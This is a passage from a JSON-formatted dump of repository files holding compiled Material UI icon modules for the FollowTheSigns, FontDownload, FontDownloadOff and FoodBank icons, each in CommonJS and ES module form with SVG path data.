  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSignsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5.75 8.9 3 23h2.1l1.75-8L9 17v6h2v-7.55L8.95 13.4l.6-3C10.85 12 12.8 13 15 13v-2c-1.85 0-3.45-1-4.35-2.45l-.95-1.6C9.35 6.35 8.7 6 8 6q-.375 0-.75.15L2 8.3V13h2V9.65zM13 2v7h3.75v14h1.5V9H22V2zm5.01 6V6.25H14.5v-1.5h3.51V3l2.49 2.5z\"\n}), 'FollowTheSignsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSignsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.64 7.75V6h-3.51V4.5h3.51V2.75l2.49 2.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.12 5.25c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.74 3.4-2.75 14.1h2.1l1.75-8 2.15 2v6h2V15.2l-2.05-2.05.6-3c1.3 1.6 3.25 2.6 5.45 2.6v-2c-1.85 0-3.45-1-4.35-2.45l-.96-1.6c-.35-.6-1-.95-1.7-.95q-.375 0-.75.15L1.62 8.05v4.7h2V9.4zm7.24-6.9v7h3.75v14h1.5v-14h3.75v-7zm5.02 6V6h-3.51V4.5h3.51V2.75l2.49 2.5z\"\n}, \"1\")], 'FollowTheSignsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FollowTheSignsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.64 7.75V6h-3.51V4.5h3.51V2.75l2.49 2.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.12 5.25c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-3.74 3.4-2.75 14.1h2.1l1.75-8 2.15 2v6h2V15.2l-2.05-2.05.6-3c1.3 1.6 3.25 2.6 5.45 2.6v-2c-1.85 0-3.45-1-4.35-2.45l-.96-1.6c-.35-.6-1-.95-1.7-.95q-.375 0-.75.15L1.62 8.05v4.7h2V9.4zm7.24-6.9v7h3.75v14h1.5v-14h3.75v-7zm5.02 6V6h-3.51V4.5h3.51V2.75l2.49 2.5z\"\n}, \"1\")], 'FollowTheSignsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownload.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.93 13.5h4.14L12 7.98zM20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-4.05 16.5-1.14-3H9.17l-1.12 3H5.96l5.11-13h1.86l5.11 13z\"\n}), 'FontDownload');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownload.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.93 13.5h4.14L12 7.98zM20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-4.05 16.5-1.14-3H9.17l-1.12 3H5.96l5.11-13h1.86l5.11 13z\"\n}), 'FontDownload');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.58 9.75-.87-.87.23-.66h.1zm-2.23-2.23L10.92 6h2.14l2.55 6.79L22 19.17V4c0-1.1-.9-2-2-2H4.83zm10.14 15.79L19.17 22H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1l19.8 19.8zm-8.39-8.38-3.3-3.3L6.41 18h2.08l1.09-3.07z\"\n}), 'FontDownloadOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.58 9.75-.87-.87.23-.66h.1zm-2.23-2.23L10.92 6h2.14l2.55 6.79L22 19.17V4c0-1.1-.9-2-2-2H4.83zm10.14 15.79L19.17 22H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1l19.8 19.8zm-8.39-8.38-3.3-3.3L6.41 18h2.08l1.09-3.07z\"\n}), 'FontDownloadOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.83 2H20c1.1 0 2 .9 2 2v15.17l-2-2V4H6.83zm6.09 4-.57 1.52 1.36 1.36.23-.66h.1l.54 1.52 3.04 3.04L13.07 6zm9.57 17.31L19.17 22H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1l19.8 19.8zM17.17 20l-5.07-5.07H9.58L8.49 18H6.41l2.39-6.37L4 6.83V20z\"\n}), 'FontDownloadOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.83 2H20c1.1 0 2 .9 2 2v15.17l-2-2V4H6.83zm6.09 4-.57 1.52 1.36 1.36.23-.66h.1l.54 1.52 3.04 3.04L13.07 6zm9.57 17.31L19.17 22H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1l19.8 19.8zM17.17 20l-5.07-5.07H9.58L8.49 18H6.41l2.39-6.37L4 6.83V20z\"\n}), 'FontDownloadOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.58 9.75-.87-.87.23-.66h.1zm-2.23-2.23.2-.52c.23-.6.8-1 1.45-1s1.22.4 1.45 1l2.17 5.79L22 19.17V4c0-1.1-.9-2-2-2H4.83zm10.84 15.09c-.39.39-1.02.39-1.41 0l-.61-.61H4c-1.1 0-2-.9-2-2V4.83l-.61-.61a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l18.38 18.38c.4.39.4 1.03.01 1.42m-9.09-7.68-3.3-3.3-1.9 5.07c-.23.63.23 1.3.9 1.3h.01c.41 0 .77-.26.9-.64l.86-2.43z\"\n}), 'FontDownloadOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.58 9.75-.87-.87.23-.66h.1zm-2.23-2.23.2-.52c.23-.6.8-1 1.45-1s1.22.4 1.45 1l2.17 5.79L22 19.17V4c0-1.1-.9-2-2-2H4.83zm10.84 15.09c-.39.39-1.02.39-1.41 0l-.61-.61H4c-1.1 0-2-.9-2-2V4.83l-.61-.61a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l18.38 18.38c.4.39.4 1.03.01 1.42m-9.09-7.68-3.3-3.3-1.9 5.07c-.23.63.23 1.3.9 1.3h.01c.41 0 .77-.26.9-.64l.86-2.43z\"\n}), 'FontDownloadOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.58 9.75-.87-.87.23-.66h.1zm7.91 13.56L19.17 22H2V4.83L.69 3.51 2.1 2.1l19.8 19.8zm-8.39-8.38-3.3-3.3L6.41 18h2.08l1.09-3.07zm-1.75-7.41L10.92 6h2.14l2.55 6.79L22 19.17V2H4.83z\"\n}), 'FontDownloadOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12.58 9.75-.87-.87.23-.66h.1zm7.91 13.56L19.17 22H2V4.83L.69 3.51 2.1 2.1l19.8 19.8zm-8.39-8.38-3.3-3.3L6.41 18h2.08l1.09-3.07zm-1.75-7.41L10.92 6h2.14l2.55 6.79L22 19.17V2H4.83z\"\n}), 'FontDownloadOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.35 7.52 10.92 6h2.14l2.55 6.79L20 17.17V4H6.83zm2.23 2.23-.54-1.52h-.1l-.23.66zM17.17 20l-5.07-5.07H9.58L8.49 18H6.41l2.39-6.37L4 6.83V20z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.83 2H20c1.1 0 2 .9 2 2v15.17l-2-2V4H6.83zm6.09 4-.57 1.52 1.36 1.36.23-.66h.1l.54 1.52 3.04 3.04L13.07 6zm9.57 17.31L19.17 22H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1l19.8 19.8zM17.17 20l-5.07-5.07H9.58L8.49 18H6.41l2.39-6.37L4 6.83V20z\"\n}, \"1\")], 'FontDownloadOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.35 7.52 10.92 6h2.14l2.55 6.79L20 17.17V4H6.83zm2.23 2.23-.54-1.52h-.1l-.23.66zM17.17 20l-5.07-5.07H9.58L8.49 18H6.41l2.39-6.37L4 6.83V20z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.83 2H20c1.1 0 2 .9 2 2v15.17l-2-2V4H6.83zm6.09 4-.57 1.52 1.36 1.36.23-.66h.1l.54 1.52 3.04 3.04L13.07 6zm9.57 17.31L19.17 22H4c-1.1 0-2-.9-2-2V4.83L.69 3.51 2.1 2.1l19.8 19.8zM17.17 20l-5.07-5.07H9.58L8.49 18H6.41l2.39-6.37L4 6.83V20z\"\n}, \"1\")], 'FontDownloadOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.17 15.5h5.64l1.14 3h2.09l-5.11-13h-1.86l-5.11 13h2.09zM12 7.98l2.07 5.52H9.93zM20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}), 'FontDownloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.17 15.5h5.64l1.14 3h2.09l-5.11-13h-1.86l-5.11 13h2.09zM12 7.98l2.07 5.52H9.93zM20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}), 'FontDownloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.93 13.5h4.14L12 7.98zM20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-4.29 15.88-.9-2.38H9.17l-.89 2.37c-.14.38-.5.63-.91.63-.68 0-1.15-.69-.9-1.32l4.25-10.81c.22-.53.72-.87 1.28-.87s1.06.34 1.27.87l4.25 10.81c.25.63-.22 1.32-.9 1.32-.4 0-.76-.25-.91-.62\"\n}), 'FontDownloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.93 13.5h4.14L12 7.98zM20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-4.29 15.88-.9-2.38H9.17l-.89 2.37c-.14.38-.5.63-.91.63-.68 0-1.15-.69-.9-1.32l4.25-10.81c.22-.53.72-.87 1.28-.87s1.06.34 1.27.87l4.25 10.81c.25.63-.22 1.32-.9 1.32-.4 0-.76-.25-.91-.62\"\n}), 'FontDownloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.93 13.5h4.14L12 7.98zM22 2H2v20h20zm-6.05 16.5-1.14-3H9.17l-1.12 3H5.96l5.11-13h1.86l5.11 13z\"\n}), 'FontDownloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.93 13.5h4.14L12 7.98zM22 2H2v20h20zm-6.05 16.5-1.14-3H9.17l-1.12 3H5.96l5.11-13h1.86l5.11 13z\"\n}), 'FontDownloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V4H4zm7.07-14.5h1.86l5.11 13h-2.09l-1.14-3H9.17l-1.12 3H5.96zM12 7.98 9.93 13.5h4.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.17 15.5h5.64l1.14 3h2.09l-5.11-13h-1.86l-5.11 13h2.09zM12 7.98l2.07 5.52H9.93zM20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"1\")], 'FontDownloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FontDownloadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V4H4zm7.07-14.5h1.86l5.11 13h-2.09l-1.14-3H9.17l-1.12 3H5.96zM12 7.98 9.93 13.5h4.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.17 15.5h5.64l1.14 3h2.09l-5.11-13h-1.86l-5.11 13h2.09zM12 7.98l2.07 5.52H9.93zM20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"1\")], 'FontDownloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBank.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm.5 9.5c0 .83-.67 1.5-1.5 1.5v4h-1v-4c-.83 0-1.5-.67-1.5-1.5v-3h1v3h.5v-3h1v3h.5v-3h1zM15 18h-1v-3.5h-1v-3c0-1.1.9-2 2-2z\"\n}), 'FoodBank');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBank.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm.5 9.5c0 .83-.67 1.5-1.5 1.5v4h-1v-4c-.83 0-1.5-.67-1.5-1.5v-3h1v3h.5v-3h1v3h.5v-3h1zM15 18h-1v-3.5h-1v-3c0-1.1.9-2 2-2z\"\n}), 'FoodBank');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBankOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9zm-.5 6.5v3H11v-3h-1v3h-.5v-3h-1v3c0 .83.67 1.5 1.5 1.5v4h1v-4c.83 0 1.5-.67 1.5-1.5v-3zm1.5 2v3h1V18h1V9.5c-1.1 0-2 .9-2 2\"\n}), 'FoodBankOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBankOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9zm-.5 6.5v3H11v-3h-1v3h-.5v-3h-1v3c0 .83.67 1.5 1.5 1.5v4h1v-4c.83 0 1.5-.67 1.5-1.5v-3zm1.5 2v3h1V18h1V9.5c-1.1 0-2 .9-2 2\"\n}), 'FoodBankOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBankRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.8 3.9-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0m1.7 8.6c0 .83-.67 1.5-1.5 1.5v3.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5V14c-.83 0-1.5-.67-1.5-1.5V10c0-.28.22-.5.5-.5s.5.22.5.5v2.5h.5V10c0-.28.22-.5.5-.5s.5.22.5.5v2.5h.5V10c0-.28.22-.5.5-.5s.5.22.5.5zm2 5.5c-.28 0-.5-.22-.5-.5v-3h-.5c-.28 0-.5-.22-.5-.5v-2.5c0-.88.57-1.63 1.36-1.89.31-.11.64.14.64.48v7.41c0 .28-.22.5-.5.5\"\n}), 'FoodBankRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBankRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.8 3.9-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0m1.7 8.6c0 .83-.67 1.5-1.5 1.5v3.5c0 .28-.22.5-.5.5s-.5-.22-.5-.5V14c-.83 0-1.5-.67-1.5-1.5V10c0-.28.22-.5.5-.5s.5.22.5.5v2.5h.5V10c0-.28.22-.5.5-.5s.5.22.5.5v2.5h.5V10c0-.28.22-.5.5-.5s.5.22.5.5zm2 5.5c-.28 0-.5-.22-.5-.5v-3h-.5c-.28 0-.5-.22-.5-.5v-2.5c0-.88.57-1.63 1.36-1.89.31-.11.64.14.64.48v7.41c0 .28-.22.5-.5.5\"\n}), 'FoodBankRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBankSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm.5 9.5c0 .83-.67 1.5-1.5 1.5v4h-1v-4c-.83 0-1.5-.67-1.5-1.5v-3h1v3h.5v-3h1v3h.5v-3h1zM15 18h-1v-3.5h-1v-3c0-1.1.9-2 2-2z\"\n}), 'FoodBankSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBankSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm.5 9.5c0 .83-.67 1.5-1.5 1.5v4h-1v-4c-.83 0-1.5-.67-1.5-1.5v-3h1v3h.5v-3h1v3h.5v-3h1zM15 18h-1v-3.5h-1v-3c0-1.1.9-2 2-2z\"\n}), 'FoodBankSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBankTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zm-.5 4v3H11v-3h-1v3h-.5v-3h-1v3c0 .83.67 1.5 1.5 1.5v4h1v-4c.83 0 1.5-.67 1.5-1.5v-3zm1.5 2v3h1V18h1V9.5c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9zm-.5 6.5v3H11v-3h-1v3h-.5v-3h-1v3c0 .83.67 1.5 1.5 1.5v4h1v-4c.83 0 1.5-.67 1.5-1.5v-3zm1.5 2v3h1V18h1V9.5c-1.1 0-2 .9-2 2\"\n}, \"1\")], 'FoodBankTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FoodBankTwoTone.mjs",
